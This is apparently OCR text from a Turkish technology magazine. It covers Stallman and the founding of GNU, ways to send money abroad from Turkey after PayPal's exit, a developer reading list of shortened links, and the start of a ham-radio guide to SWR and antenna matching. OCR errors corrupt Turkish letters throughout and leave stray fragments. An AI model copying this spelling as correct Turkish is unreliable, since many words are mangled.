edecek pek de kimse kalmamus
ve daha da beteri Cin yemegi
yemek icin aradiginda telefo-
nu agan kimse olmaz olmus-
tu. Stallman AI Lab'in Hacker
etigini savunmak konusunda basarisiz olmasindan 6tiirti bir
nevi yas igerisindeydi, labdakilerin parola ve sahipli yazilimla-
ra kars1 teslimiyetci yaklagimi Stallman’ derinden yaralamigti.
Soranlara yakin zamanda esini kaybettigini sdylityordu - ki as-
linda bahsettigi kaybettigi kurumdu. Biraz diistindiikten sonra
kot adam olarak Symbolics suglu ¢itkmisti. Stallman Symbolic
LISP makinesini asla kullanmayacagini, kullanan kimseye de
yardim etmeyecegini sdylemisti. Stallmana gére Symbolics AT
Lab’i bilerek hackerlarindan kopariyor ve halka agik sekilde
rekabetci teknoloji iiretmelerini engellemek istiyordu. Inti-
kam almak i¢in yaptig1 tersine mithendislikler ustalar: Gosper
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ve Greenblatt’'te hayranlik uyandiriyordu ve onlarca hackerin
yaptigini tek bagina hallediyordu. Stallman kendini diinyada
kalan son hacker olarak kabul etmisti. AT Lab’in ahalisi kirlen-
misti ve o eski hackleme manastirindan eser yoktu. Stallman
bakt1 ki MIT'de Hacker Ethic hayatta kalamayacak, miicadele-
sini dis diinyaya tasimaya karar verdi ve boylece 1984 yilinda
Richard Matthew Stallman MIT'den ayrilip kendi projesi iis-
tiine calismaya baglad:

GNU (Gnu’s Not Unix)

Kendi prensiplerini ¢ignemeden bilgisayar kullanmaya devam
edebilecek idi Stallman. Eyliil,
1983’te  ARPAnet iizerinden
baslayacagi bu projeyi zaten
duyurmustu: “ Basaramayabi-
lirim belki ama isletim sistemi
gelistiren bir insan olarak bunu
yapmak icin ben segildim. Unix
ile uyumlu ve Unix kullanicila-
rimin kolayhkla gegis yapabile-
cegi bir isletim sistemi yapmay:
sectim.” 1985’te bu sistemi yapmaya gotiiren giidiilerini an-
lattigt GNU Manifesto'yu* yaymnladi. Bunlar takiben yazilim
kullanicilarinin haklarini savunmak i¢in, 6zgiir yazilim hare-
keti i¢in, kar amaci giitmeyen Free Software Foundation’1 (FSF
- Ozgiir Yazilm Vakfi) kurdu. 1985 yilinda copyright’a (telif
hakki) kars1 olarak 6zgiir yazilimlarin degisiklik ve yeniden
dagitim konularinda yasal haklarini korumak tizere copylefti
buldu ve yaydi. 1988 yilinda Stallman tim Apple iiriinlerini
boykot ¢agrisinda bulundu (bu boykot 1995 yilinda kaldiril-
mistir). 1989da ise ilk GNU Emacs General Public License
(GPL) yayinlandi. Tam da bu zamanlar GNU isletim sistemi
hemen hemen her gereksinime sahipti: Stallman text editéri,
derleyici, debugger ve bunlar gibi birtakim elzem seylere sa-
hipti. Eksik olan tek sey ise kernel idi. O zamanlar 20’li yasla-
rinin baginda olan Linus Torvalds hikayemize tam da burada,
1991 yilinda dahil oluyor. GNU araglarini kullanarak kernel
olusturan Torvalds1n kernel’i Linux ile bir araya gelip tamam-
lanmis bir isletim sistemi karsimiza ¢ikiyor boylece: GNU/
Linux!

1993 yilinda Steve Jobs NeXT tizerinde ¢alistif1 zamanlarda
Stallman’a bir teklif gotiirdii. Bu teklife gore Jobs, GPL altin-
da bir kisim, ve tescilli lisans altinda bir Objective-C islemcisi
olmak tizere iki par¢adan olusan bir GCC (GNU C Compiler
- GNU C Derleyici) dagitacakti. Avukatlarina danistiktan son-
ra Stallman, Jobs’a planina GPL tarafindan izin verilmedigini
soyledi. Boylelikle NeXT Objective-C 6n ylztuni GPL altinda
gikardi. 1995’te ise 1988 yilinda konulan boykot kaldirildi - ki
bu FSF’in GNU yazilimlar1 igin Apple isletim sistemi patchle-
rini kabul etmeye basladig1 anlamina geliyordu.

4 https://www.gnu.org/gnu/manifesto.html
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Tiirkiye de dahil 65’in iizerinde iilkeye giden Stallman diin-
yayr gezmeyi sevmekle beraber gittigi yerlerde ¢ogunlukla
Ozgiir Yazilm iizerine konugmalar vermektedir. Ozgiir Ya-
zilim Hareketinin onciisii 2011 yilinda 7. Bilgisayar Miithen-
disligi Ogrencileri Kongresi (BILMOK) kapsaminda Yedite-
pe Universitesine® ve 11. BILMOK kapsaminda ise Ankara
Universitesine® gelmistir. 90°lara gegtikten sonra kendini FSFe
ve buradaki yasal islere olduk¢a adamis olan Stallman MIT AI
Lab’in ger¢ek idealarina sonuna kadar sahip ¢ikip 6ztimsemis
ve korumustur. Stallman’a gore bilgi, gelismekte olan iilkelerde
6zgiir olmalidir.

“Yazilim ile ilgili iki olasilik vardir: ya kullanici programi kont-
rol eder ya da program kullaniciyr kontrol eder. Eger program
kullaniciyr ve gelistirici programi kontrol ederse, 0 zaman prog-
ram adaletsiz giiciin bir araci olmus olur” "}

5 https://linux.org.tr/2011/02/stallman-turkiyede/

6 http://comp.eng.ankara.edu.tr/richard-m-stallman-11-bilmokte-yer-alacak/
7 https://stallman.org/articles/friends.html

8 http://ergoemacs.org/misc/Richard_Stallman_and_Julian_Assange.html
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5 Genderin

Uluslararasi Para Transferi

eknoloji ilerledik¢e diinya kiiresellesmeye, para hareketleri artmaya ve para hareketleri arasindaki sinirlar kalkmaya
basladi.

Buna karsin yine de diinya {ilkeleri arasinda para dolagiminin yeterince 6zgiir oldugu séylenemez. Bu durumun en
bityiik nedeni biirokratik engeller. 2016 yilinda Tiirkiyede PayPal kullaniminin yasaklanmasi gibi.

PayPal kullaniminin birkag yasa dig1 ve giivensiz yol haricinde olanaksiz olusunun ardindan Tiirkiyede yurt dist ile is iligkileri
olan bir¢ok insan farkli alternatif kanallara yoneldi. Bu alternatiflerin ¢ogu, yiiksek komisyon oranlar1 ve yavas transfer siirele-
riyle can sikici olabiliyor. Kotii alternatifleri kenara birakirsak yurt digiyla para aligverisini en ucuz ve en hizli sekilde gergekles-
tirmeye hizmet edecek en iyi 3 yol séyle:




Kripto para

urt digina para gondermenin ve yurt disindan para al-
manin en etkili yolu kesinlikle kripto paralar. 2009'dan
beri bilfiil var olan kripto paralar1 heniiz tecriibe et-

mediyseniz, harekete ge¢meli ve kripto paralarin kullanimini
6grenmelisiniz.

Kripto para kullanirken yagayacaginiz zorluk belki kars: ta-
rafin bu teknolojiye asina olmamasi veya tercih etmek iste-
memesi olabilir. Bununla beraber, kripto paralarin kullanici
tabani glinden giine genisliyor.

Kripto paralar arasinda da pek ¢ok alternatif var. Bu alternatif-
ler arasinda en yaygin olarak kullanilan ve kabul

edileni Bitcoin ancak daha ucuz, daha hizh
bir yontem olmasiyla Ripple 6ne ¢ikiyor.
Zaten her ikisinin kullanimi da biitii-
niiyle aynu.

I

Ripple ile diinyanin her nok-
tasina 1-2 dakika, hatta ba-
zen saniyeler icerisinde para
gonderip almaniz miimkiin.
Odediginiz iicret, gonderdi-
giniz bedel ne olursa olsun
50 cent’i gegmiyor.

7o

Ripple ile para gondermek
icin her iki tarafin birer
Ripple ciizdan adresi olmal.
Bu adresi borsalar, kripto para
almak, satmak ve gondermek
icin kullanilan uygulamalar ile
mobil kripto para clizdanlarindan
edinebilirsiniz.

Kripto parayla para transferinin en 6énemli de-

zavantaji ise degerlerinin kisa siireler icerisinde degi-
sebilmesi. Yani, baz1 durumlarda gonderdiginiz 100 dolar, 6r-
negin yarim saat icinde piyasada deger kaybederek kars tarafa
90 dolar olarak gecebilir. Bunun tam tersi de gériilebilir ve o
para 110 dolar da olabilir. Elbette bu, kisa siireler icinde sik¢a
kargilasacaginiz bir durum degil.

Ayrica bu sistemde saat ve giin sinir1 yok. 7 giin 24 saat istedi-
giniz her an para gonderip alabilirsiniz.

Transferwise

Transferwise, PayPalin Tiirkiyeden c¢ekilmesinin ardindan
kripto para kullanmak istemeyecekler i¢in en iyi alternatif.

R
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Transferwise ile para gondermeniz i¢in sirketin sizinle paylas-
t1g1 IBAN numarasina gondereceginiz tutari transfer etmeniz
gerekiyor. Sirket, Fibabank ile ¢alisiyor. Fibabank’ta hesabiniz
yoksa EFT islem saatlerini géz 6niinde bulundurarak hareket
etmelisiniz.

Transferwiseda sabit bir gonderim ticreti yok. Gonderdiginiz
miktar arttikca 6deyeceginiz komisyon da artiyor. Bu komis-
yon, 1000 TL i¢in yaklasik 10, 5000 TL i¢in yaklasik 30 TL.

Gonderdiginiz paranin kars: tarafin hesabina ulagmasi 5-6 sa-
atten 3 giine kadar siirebiliyor. Para birimi doniisiimlerinde
yiizde 2’ye varan bir komisyon var.

otk
-“

https://transferwise.com

. TransferGo

W
s

|
i

Transferwisea benzer bir yapi-
ya sahip olan TransferGoda
Tiirkiyeden yurt digina para
gondermek su anda mim-
kiin degil fakat yurt disin-

y dan Tiirkiye'ye para trans-
: feri alabilirsiniz.
]
/ Siirli  sayida  Avrupa
. tilkelerini destekleyen
B TransferGoda islem siire-

A ci Transferwise ile ayni. Ek

olarak TransferGoda iicret-

siz para aktarimi yapabilmek

miimkiin fakat transferin ger-

ceklesmesi i¢in en az 1 hafta bek-

lemeyi géze almaniz gerekiyor. Daha

hizli transferler ise ticret dahilinde yapili-

yor. Ayni giin ya da birkag giinde gerceklestiri-

lecek transferlerden 1-3 Euro arasinda degisen {icretler

alinryor. Para birimi déniisiimlerinde de yiizde 0 - 2,2 arasinda
degisen ticret kesintileri var.

https://www.transfergo.com

Diger alternatifler bankalar arasinda kullanilan SWIFT siste-
mi ile Western Union, MoneyGram gibi kanallar. Bir banka
hesabiniz olduktan sonra SWIFT’te islem yapmak kolay fakat
hem transferin gerceklesmesi birkag giin aliyor, hem de ticret
kesintileri yiiksek.

Ayni aileden olan Western Union ve MoneyGram kanallari ise
banka hesab1 olmayanlar i¢in ideal. Bununla beraber, SWIFT’
benzer sekilde iicret kesintileri yitksek ve transfer siireleri
uzun.
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Yazilimcilar icin

Okuma

Selamlar. Bir kez daha yazilimcilar i¢in 6zenle derledigim ma-
kalelerle huzurlarinizdayim. Istifade etmeniz iimidiyle basli-
yorum.

SPA (Single Page Application)lar ve SSR

(Server Side Rendering)

Son dénemin en gozde 6n yiiz yaklagimi sanirim Single Page
Application. Elbette yazilim diinyasindaki her sey gibi bu yak-
lagim da kusursuz degil(yani her sey kusurlu, yani higbir sey
kusursuz degil). Zingat'tan Usame Fethullah Avci, bu yakla-
simdaki rendering tekniklerinin(server side, client side ve
pre-rendering) neler oldugunu, ¢alisma gekillerini, arti-eksile-
rini ve hangi durumlarda kullanilmalar: gerektigini detaylica

anlatmuis.
https://bit.ly/2X8n7dn

Veri Dedikleri

Son dénemdeki en degerli varlik tiirlerinden biri veri. Veriler,
verilerimiz. Dolayisiyla veriyi analiz eden, anlamlandiran ve
isleyen insanlar da degerli isler yapmis oluyor. Yani veri bilim-
ciler ve ana besin kaynag1 veri olan Yapay Zeka ile ugrasanlar.

Cagr1 Aksu, gectigimiz haftalarda verivi ve veri setlerini an-
lamak iizerine giizel ve uzunca bir yazi yazmis. Akabinde ya-

yimladigi iki yazida ise verinin simiflandirilmasi ile confusion
matrisinden ve “bilgi fabrikalar1” diye bahsettigi ham veriyi
alarak isleyip sonuglar1 dénen yapilardan bahsetmis.

https://bit.ly/2NodYh8

Listesi

https://bit.ly/21j9X0O

https://bit.ly/2RLr9Hx

Refactoring

Hayatin her alanindaki entropi, yazilimlarimizi da bos ge¢-
miyor. Zaman gegtikce yeni 6zellikler gelip kodlar biiytidiik¢e
daha da anlamasi zor ve hataya acik hale geliyor. Bu yiizden
hayatimizda her an olmas: gereken bir kavram var: Refacto-
ring.

Bora Kasmer, Refactoring anlattig1 bir seriye baslamis. Kon-
sept ise Martin Fowler’in kitabindaki bir 6rnek iizerinden bir
laboratuvar ortami(kokan bir proje) olusturarak Refactoring
yapmuis.

https://bit.ly/2xupg87

Globale Acilma

Son zamanlarda hem yazilimcilarimizin hem de yazilim fir-
malarimizin yurtdigina yaptigr islerde sevindirici bicimde
ciddi bir artig var. Yazilim ihra¢ eden firmalarimizin yaninda
Tirkler’in yurtdisinda kurdugu Countly, Netsparker, Logiwa
vb. bagarili firmalar da giizel igler yapmaya devam ediyor. Ay-
rica son donemde artan bir vurgu var: her girisimin hedefinin
global arena olmasi gerekliligi.

Countlyden Goérkem Cetin, yine sektoriin 6nemli ihtiyagla-
rina yonelik giizel bir yazi kaleme almis ve kendi tecriibeleri




tizerinden Fortune 2000 listesindeki firmalara nasil yazilim
satilabilecegini, satis siirecleri, bu siireclerde dikkat edilmesi
gereken noktalar1 anlatmis. Global diigiinen herkesin okumasi
elzem bana gore.

Tabi globale acilmadan 6nce nitelikli bir tiriin gelistirmis ol-
mamiz gerekiyor. Bu konuda da Emre Mert‘in pek ¢ok kalem-
de tavsiyelerini dillendirdigi 2 yazisini 6neriyorum.

https://bit.ly/2WUdqTA

https://bit.ly/2X8MKUP

https://bit.ly/2]jaXJA

Huawei Olaylari

Gegtigimiz aylarin en 6nemli giindemlerinden biri Amerikan
Hiikiimeti ve akabinde basta Google bazi sirketlerin Huaweie
karg1 uyguladigi yaptirimlardi. Bu olay1 farkli noktalardan
yaklagarak analiz eden 2 giizel yazi okudum. Ilki Giiven Sak‘in,
digeri ise Fikri Tiirkel'in yazis1.

https://bit.ly/2KTh50s

https://bit.ly/2RHKoBL

Derin Javascript

Ozellikle Javascript hakkinda nitelikli yazilar kaleme alan Tahir
Kardak, bu kez 3 tane ¢eviri yaz1 yayimlamus. Javascript’te an-
lasilmast zor konular hakkindaki yazilarin ilkinde tip doniisii-
mii, ikincisinde Javascript motorlarinin ¢alisma mantigi, son
yazida ise “value” ve “reference” tipler anlatilmis. Yazilar da
cevirileri de gayet keyifli olmus.
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https://bit.ly/2xjFEbY

https://bit.ly/21XYz2Y

https://bit.ly/2XgrFmQ

Javascript demisken Dogan Oztiirk de katildigi Amsterdam
JSNation etkinliginden notlarini paylagsmis. Sunum videolar1
da yazinin i¢inde mevcut.

https://bit.ly/2ZUU7aK

Yine Javascript demisken “JavaScript i¢in Uyarlanmis Temiz
Kod Kavramlarr” baglikli ¢ok giizel bir Tiirk¢e dokiiman ha-

zirlanmus.

https://bit.ly/2xit10T

Tarayicida Yapay Zeka

TensorFlow.js sayesinde tarayici {izerinde calisan yapay zeka
uygulamalar yazilabiliyor ki bu da her yazilimcinin en azin-
dan giris seviyesinde yapay zekayr kurcalamasi i¢in yeni bir
sebep daha demek.

Bu konuda yakin zamanda 2 tane Tiirk¢e makaleye denk gel-
dim.

[lki ayn1 zamanda konu hakkinda Developer Summit etkin-
liginde sunum yapan Yavuz Kémecoglu'nun nispeten genis
cerceveli yazisi. Digeri ise Emre Kizildagin Javascript ile ka-
mera kullanarak nesne tanima uygulama gelistirmeyi anlattig1

yazisl.
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https://bit.ly/2IXWHqP

https://bit.ly/2FHhr47

React ve Vue ile Tarayici Eklentisi

React konusunda ¢ok bagarili igerikler iireten hatta en son Re-
act.js dokiimanlarini Tiirkceye cevirisine biiyiik katk: saglayan
Ebru Giileg, bu kez React kullanarak Chrome eklentisi olus-

turmayi anlatmis.
https://bit.ly/2YI7NLT

Bu durumdan esinlenen Ali Goren ise Vue.js marifetiyle bir
Firefox eklentisi olusturmus ve yazdig1 makaleyle paylagmus.

https://bit.ly/2XgD8D0

Robot Hukuku

Muhtemelen 6ntimiizdeki yillarda bolca tartigacagimiz bir
baslik bu. Adindan anlasilacag tizere hayatimiza girecek hem
robotlarla hem de siiriiciisiiz araglarla ilgili hukuki meseleler-
le ilgilenen bir alan. Selin Cetin, bu kavramin ne oldugundan
baslayarak nasil gelistigini, Tiirkiyede ve diinyada ne durumda
oldugunu, bu alanda ¢alismak isteyenlere tavsiyelerini ve daha
pek ¢ok konuyu ihtiva eden bir yazi kaleme almis.

https://bit.ly/2XFhpUw

Hadi Test Yazalim

Yazilim gelistirirken test yazmanin faydas: saymakla bitmiyor.
Ama diger yandan test yazmamak icin iiretilen bahaneler de
bitmek bilmiyor. Orhun Begendi, bu konuda elini tasin altina
koyarak yine biiytik bir amme hizmetine imza atmis ve test
yazma konusunda bir yazi dizisine baslamus. Seriyi 12 yaz1 ola-

rak planlamis ve su ana kadar 3 tanesini yayimlamis(l, 2, 3, 4).
Her zamanki gibi kendi tecriibelerini de iceren keyifli yazilar
olmus.

https://bit.ly/2XgrNTm

https://bit.ly/2NnH9Rp

https://bit.ly/2xIxg]6

https://bit.ly/2LqylaY

Kamudan Giizel Haberler

Pek ¢ogumuzda oldugu gibi bende de kamu kurumlarinin
teknolojiyle iliskisi konusunda olumsuz 6nyargilar var. Bu
yuzden boyle konudaki her gelisme beni sevindiriyor. Bu
kez Kiitahya Il Ozel Idaresi'nde siireglerin analogdan dijitale
doniistiiriilmesi i¢in olusturulan teknolojik altyap: hakkinda
bir yazi yayimladi. Bu déniisiimde -anladigim kadariyla lider
olarak- yer alan Omer Savas, sz konusu siireci baslangicin-
dan itibaren, kullanilan modern teknolojilerle(mikroservisler,
docker, RabbitMQ, ELK, Varnish, Redis...) ve kullanilan arag-
larin segilmesinin nedenleriyle birlikte anlatmuis.

https://bit.ly/2ZUShGL

Diger giizel haber ise bir siire dnce projelerini acik kaynak
olarak paylagan Cankiri Il Saglik Miidiirliigii‘niin blog agmasi
olmus. Ilk yaz1 GrayLog kurulumu hakkinda.




https://bit.ly/2ZUKdG7

Soyutlama

Nesne tabanli programlama altinda bir baglik olarak gorsek
de yazilim biliminin tamaminda ve hatta biitiin hayatimizda
yer alan 6nemli bir kavram var: soyutlama(abstraction). Tarik
Giiney, bu kavramin ve yani sira kapsiilleme(encapsulation)
kavraminin 6nemini ve ne oldugunu giinliik hayatimizdan 6r-

neklerle anlattig1 giizel bir yazi kaleme almis.
https://bit.ly/324ajsj

Eglenceli Makine Ogrenmesi ve Yapay Zeka
Adam Geitgey’in “Machine Learning is Fun” isimli miithis bir
serisi var. Az ¢ok matematik bilen hemen herkesin ¢ok rahat
anlayabilecegi ve ayni zamanda eglenceli bir sekilde makine
Ogrenmesini anlatiyor. Az ¢ok yapay zeka ve makine 6gren-
mesi ile ilgilenen hatta -ben gibi- bunlarin ne oldugunu, nasil
isledigini merak eden herkesin muhakkak okumas: gereken
bir seri diyebilirim.

Isin daha giizel tarafi ise serinin ilk 3 yazis1 Tiirkgeye gevrildi.
(ilkini Ozgiir Sahin, 2. ve 3. yazilar1 ise Atakan Yenel cevirmis)
Umarim kisa siirede toplulugun da katkisiyla tiim serinin ge-
virisi yapilir.

https://bit.ly/2xgR3cO

https://bit.ly/2IX00Sc

https://bit.ly/2IXWeVx

Ozkan Dogan ise pekistirmeli 6grenmenin popiiler algorit-
malarindan Q-Learning’i anlattig1 bir seriye baslamis.
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https://bit.ly/2NIDibG

Hakan Aribas, yapay zeka & etik konusunda bir derleme yap-
mus.
https://bit.ly/2KLYXDO

Giivenli Yazilim

Teknoloji ve yazilim sektorii gelistikce dnceden detay olarak
dikkat edilen konular genisliyor ayr1 dallar, disiplinler haline
geliyor. Bunlarin en énemlilerinden biri ise siber giivenlik.
Su an oOzellikle kurumsal firmalarda ayrica bilisim giivenlik
birimleri olusturuluyor. Bu tip dallanmalar oldukga biz yazi-
limcilar gevsek davranabiliyoruz “giivenli” yazilim gelistirme
konusunda. Amma ve lakin hala iizerimize diisen seyler var.
Onur Ercan, 6nemli bir yazi kaleme alarak giivenli yazilim
i¢in dikkat edilmesi gereken noktalar:1 paylagmus.

https://bit.ly/2FGwriR

Blockchain Aleminde Neler Oluyor?
Gegtigimiz haftalarda g6gstimiizii kabartan bir projeden ha-

Cornell Universitesinden Tiirk bilim adami Prof. Dr. Emin
Giin Sirer imis. Kendisinin ayrica daha 6nce de p2p aglar i¢in
6nemli ve hala kullanilan ¢aligmalar1 varmis.

Projede Bitcoin'in maliyetli olan transfer iglemleri icin ¢ok
hizli(yaklasik 2 saniye) ve giivenli oldugu iddiasinda, maden-
cilik gerektirmeyen bir algoritma gelistirilmis. Ege Tekiner,
kus bakigt Emin Hocanin ¢aligmalarindan ve Avalanche pro-
jesinden bahsetmis.

https://bit.ly/2LsnDkj

Blockchain, her gecen giin popiilaritesini artirtyor. Farkli
farkli alanlarda farkli senaryolarda kullanilmaya calisiliyor.
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Teknoloji trend/arastirma girketleri de dogal olarak bu duru-
ma kayitsiz degil. Recep Ilkbahar, isbu arastirma sirketlerinin
Blockchain hakkindaki raporlarini incelemis ve 6nemli gor-
diigii noktalar: kendi yorumlariyla beraber paylasmis.

https://bit.ly/2ZXNKDI

Okan Yildiz ise benzer sekilde McKinsey&Companynin
Blockchain raporunu okuyup kritik noktalarini aktarmis.

https://bit.ly/2RHXO0B

Diger yandan Enes Tiirk, Blockchain’'in kullanim senaryola-
rindan bahsetmeye devam ederek Blockchain iizerinde gelis-
tirilen 2 sosyal sorumluluk projesinden bahsetmis.

https://bit.ly/3208a03

Gegtigimiz haftalarda FacebooKun kripto para ¢ikaracagina
dair haberler ¢ikmigti. [smail Hakki Polat, Zuckerberg’in bu
hamleyle neyi hedeflemis olabilecegini irdelemis.

https://bit.ly/2]dfqOa

Turan Sert ise konunun teknik detaylarina girerek bu paranin
hangi platformlarda ve islemlerde kullanilabilecegini; getirile-
rini, sorunlarini irdelemis.

https://bit.ly/2RHY7bL

Bitcoin’in halka inmesi, sonra degerinin ¢akilmasi, ICO’la-
rin dolandicilik icin kullanilmasi vb. pek cok gelisme sonrasi
insanlar Blockchaine biraz mesafeli durmaya bagladi. Cemil
Sinasi Tiirtin, olumsuz goriislere karsin Blockchan’in neden

hala bir devrim oldugunu yazmis. Bir bagka yazisinda ise va-
deli ¢eklerin merkezi bir sistemle bankalar tarafindan takip
edilmesine yonelik caligmalardan bahsetmis ve yanlis gordiigii
noktalar1 yazmis.

https://bit.ly/2YoRbCU

https://bit.ly/27ZXL.a0w

Kamer Elciyar, merkeziyetsizligin ne oldugunu sorarak, bu
ifadeden ne anlamamiz gerektigini, hangi yapilarin ne kadar
gayrimerkezi oldugunu, hangi uygulamalarda merkeziyetsiz-
lige ihtiya¢ duyulabilecegini vb. konular: ele aldig1 bir yazi ka-

leme almus.
https://bit.ly/21YACsj

Mesut Giilecen, ilk Bitcoin transferinin alicisi olan ve
Satoshi'ye ilk destek veren kisilerden olan Hal Finney’in “Bit-
coin and Me” yazisini gevirmis.

https://bit.ly/2RGRab1

Bir JavaScript koduyla tarayici iizerinde Monero mine et-
meyi saglayan CoinHive servisinin -gectigimiz- 8 Mart'ta
sonlandirilacag: ilan edilmis. Ziyahan Albeniz, bu vesileyle
CoinHive'in tarihinden, ekosisteme getirdigi degisikliklerden,
kotiiye kullanimiyla gergeklestirilen Cryptojackingden ve
bundan korunma yollarindan bahsetmis.

https://bit.ly/2]bMQg7

Akbank, bir stiredir bir kripto para olan Ripple araciligiyla para
transferi yapmaya olanak sagliyor. Daha dogrusu SWIFTe al-




ternatif olarak bu secenegi de sunuyor. Deniz Ozgiir, her iki
transfer yontemi i¢in SWOT analizleri yaparak genis bir karsi-
lastirma ve kripto paralarin finans diinyasina etkisine dair bir

perspektif sunmus.
https://bit.ly/2XClwyk

Soner Canko, katildig1 bazi etkinliklerde yaptig1 “Blokzincir
Hayatimizi Nasil Degistirecek” baslikli sunumunu paylasmas.

https://bit.ly/2Yol854

Engelsiz Teknoloji

Son dénemde IoT, 3 boyutlu yazicilar, yapay zeka ve biyotek-
noloji gibi teknolojilerin hizli gelisiminin en giizel sonugla-
rindan biri engelli bireylerin hayatini kolaylastirmaya yonelik
¢oziimler. Kiirsat Bayhan, “engelsiz teknoloji” baglig1 altinda
bu konuda gelistirilen bazi tiriin ve fikirleri derlemis.

https://bit.ly/2NoMZlu

Sifreleme

Duygu Ozcan, ACORN hakkinda 2 yazilik mini bir seri ya-
yimlamis. 2014 yilinda bir yarismada Hongjun Wu tarafindan
goriiciiye ¢ikarilan bir kimlik dogrulamali sifreleme algorit-
masi imis. Ilk yazida mevcut sifreleme tiirleri ve algoritmala-
rin1 anlatarak kimlik dogrulamali sifreleme yontemlerine giris
yapmus. Ikinci yazida ise ACORN’un detaylarina inmis.

https://bit.ly/2XcvnxT

https://bit.ly/2YKAMPN

ARKA KAPI Muhammed Hilmi Koca - Yazilimeilar Igin Okuma Listesi

Gokhan Sengiin ise gegtigimiz haftaki yazisinda Base64 enco-
ding yontemini anlatmus.

https://bit.ly/2Yo4VxQ

Yazilim Mimarileri

Hiiseyin Kutluca, yazilim mimarisi gelistirme hakkinda bir
seriye baglamig. Ik yazida “mimari nedir, ne degildir, temel
kavramlar nelerdir ” tadinda bir giris yapmis. Sonraki yazi-
larda ise mimarinin nasil tasarlanacagini anlatmaya baslamus.

https://bit.ly/21.t3vyc

Sezer Tanriverdioglu, Aspect Oriented Programming’i anlatti-
g1 bir seriye baslamis.(Java)

https://bit.ly/2YiQDhH

Osman Homek, 6rnek bir proje esliginde MVC mimarisini ve
ORM kavramini anlatmis.(Go)

https://bit.ly/2ZRoMpe

Osman Korcan Andag, antipattern’leri anlattigi giizel ve

onemli bir seriye baglamis. Ilk yazisinda 3, ikinci yazisinda 4
adet cok goriilen antipattern’i anlatmas.

https://bit.ly/2KQeQZQ

https://bit.ly/2X9mX5h
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SWR
ANTEN UYUMU NEDIR?

egerli arkadaglar, bir 6nceki yazimizda SWR konusu-
D nu da ele alacagimizi belirtmistik. Buradan yola ¢ika-

rak SWR ve anten frekans uyumu, anten montaji ve
el cihaz1 dogru kullanim sekillerini de anlatmaya ¢alisacagiz.

SWR Nedir?

SWR (Standing Wave Ratio) Tiirk¢e karsiligi olarak duran
dalga orani anlamina gelmektedir. Telsiz ¢ikis1 ile kablo-an-
ten hattindaki empedans uyumunu ifade etmektedir. Burada
meydana gelebilecek dengesizlik sonucu geri yansiyan gii,
cihaz tizerinde 1s1ya doniiserek ¢ikisin zarar gormesine neden
olmaktadir.

SWR Metre ad1 verilen 6lgiim aletleri ile kontrolii saglanma-
mis her anten -kablo hatt1 daha 6nceden tecriibe edilmis olsa
dahi, bu tip risk goz oniine alinarak muhakkak test edilmeli
ve gerekli kontroller yapilmadan kullanilmamalidir. Burada,
risk degeri agisindan maksimum 3 degeri riskli goriliir. Terazi
mantiginda disiinerek en kolay anlatimi s6yle séyleyebiliriz;
denge mantiginda 1/1 uyum saglanmalidir. Yani SWR dege-
rinde ideal olan deger 1,0 degeridir. Tam uyumu gormek i¢in
okumamiz gereken bu degeri hedef aldigimizda sunu unut-
mamamiz gerekir; anten ve telsiz cihazimizin kullandig: fre-
kans tek bir frekans mi yoksa birden ¢ok frekans bandi mi1
kullaniliyor?

Daha onceki yazilarimizda bahsettigimiz {izere bu soruyu
sormaktaki amacimiz, anten ve cihazimiz eger ki birden faz-
la band araliginda caligacak veya ayni bantta dahi olsa genis
bir aralikta olacak ise SWR degeri de ayni sekilde degiskenlik
gosterecektir. Ornek vermemiz gerekirse 145.500 MHzde de-
geri 1,0 olarak okurken, ayni cihaz-anten-kablo hatt1 {izerinde
olmamiza ragmen 144.800 MHz i¢in bu deger 1,6 olabilmek-
tedir. Bir diger ornekte, iki band kullaniminda bir cihaz ve
yine buna uygun Dual Anten olarak adlandirilan ¢ift band bir
anten donaniminda VHF araliklarda 1,0 - 1,8 degerleri arasi
ol¢iim yapilirken, UHF band1 i¢in bu degerler 1,8 - 2,7 gibi
araliklarda degiskenlik gosterebilir. Burada esas olan, risk de-
gerinden miimkiin oldugunca ortalama 1,0’ yaklasilan 6lgii-
mii gosterebilmektir.

Bu ideal aralik ile alakali ayarlama yapmak i¢in anten kablosu,
konnektorlerin kalitesi, konnektor kablo baglantilarinin diiz-
ginliigii, anten uyumu ve anten boyu ayar: gibi etkenler mev-
cuttur. Ideal 6l¢iimii bulabilmek igin tiim bu detaylar kontrol
edilmeli ve gerekli olan standartlar bulunmalidir. SWR Metre
cihazlarinin da uygun araliktaki frekansta olmas: énemlidir.
Bu cihazlar dijital ve analog modeller olabilmekte. Ayrica 6l-
cebildigi frekans aralig1 ve watt giigleri muhakkak tizerlerinde
belirtilir. Bu hususlara da azami dikkat etmek gereklidir. Ozel-
likle belirtmemiz gereken, SWR 6l¢timii yaparken ilk 6l¢timde
mutlaka en disiik ¢ikis giicii ile olabilecek uyumsuzluk sebebli
riski en aza indirmek i¢in 6l¢tim yapilmas: geregidir. Cihaz
¢ikis giicli minimum seviyede iken ilk 6l¢iim yapilmalidir!

Analog ve Dijital SWR Metre 6rnek fotograflar:

SWR IDEAL, ANCAK DUYUM ve GONDERME
NEDEN SORUNLU?

Maalesef 6zellikle yeni amator telsiz operatorii olan arkadasla-
rin, olmasi gerektigi gibi bir takim projeler ile meggul olma is-
teginin zirve yaptig1 bu ilk dénemler sirasinda siklikla bu soru
kargimiza gelmektedir. $6yle ki, arkadaglarimiz kaynak olarak
internet tizerinde bulduklar: ¢izim ve semalar 151g1nda anten
yapimina zaman ayirmaktadirlar. Bu ¢alismalar gayet giizel ve
tesvik edilmesi gereken ¢alismalardir, ancak burada o6zellikle
atlanilan konu, eksik tecriibe sebebiyle detay bir husus genelde
g6z ard1 edildiginden kaynaklanan bu sorun ortaya ¢ikmak-
tadur.

Bir¢ok yeni arkadasimiz kendi antenini yapmak i¢in buldu-
gu ¢izim 151¢1nda malzemelerini temin ederek yapima baslar.
Burada su énemli konu atlanmamalidir. Ozellikle VHF ve
UHF bantlar i¢in birlikte ¢alisabilen Dual Band olarak gecen,
markalarin sorunsuz olarak kendini ispat etmis olan pahali
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antenlerini satin almak yerine kendi yapma diisiincesi tabii
ki giizeldir, onemli olan verilen teknik bazi detaylar1 miim-
kiin oldugunca tam olarak anlayarak yerine getirmeye ¢alis-
maktadir. Birgogunuzun da hak verecegi gibi bu tip marka ve
kendini yillardir ispat etmis kalitede antenler fabrikalarda bir
cok ARGE caligmalar1 sonucunda olusturulmustur ve gerekli
laboratuvar ortamlarinda fabrikasyon standartlarinda belir-
lenmis standartlar altinda yapilmaktadur.

Bazen ¢ok basit gibi goriilecek bir bobin sariminda dahi, kul-
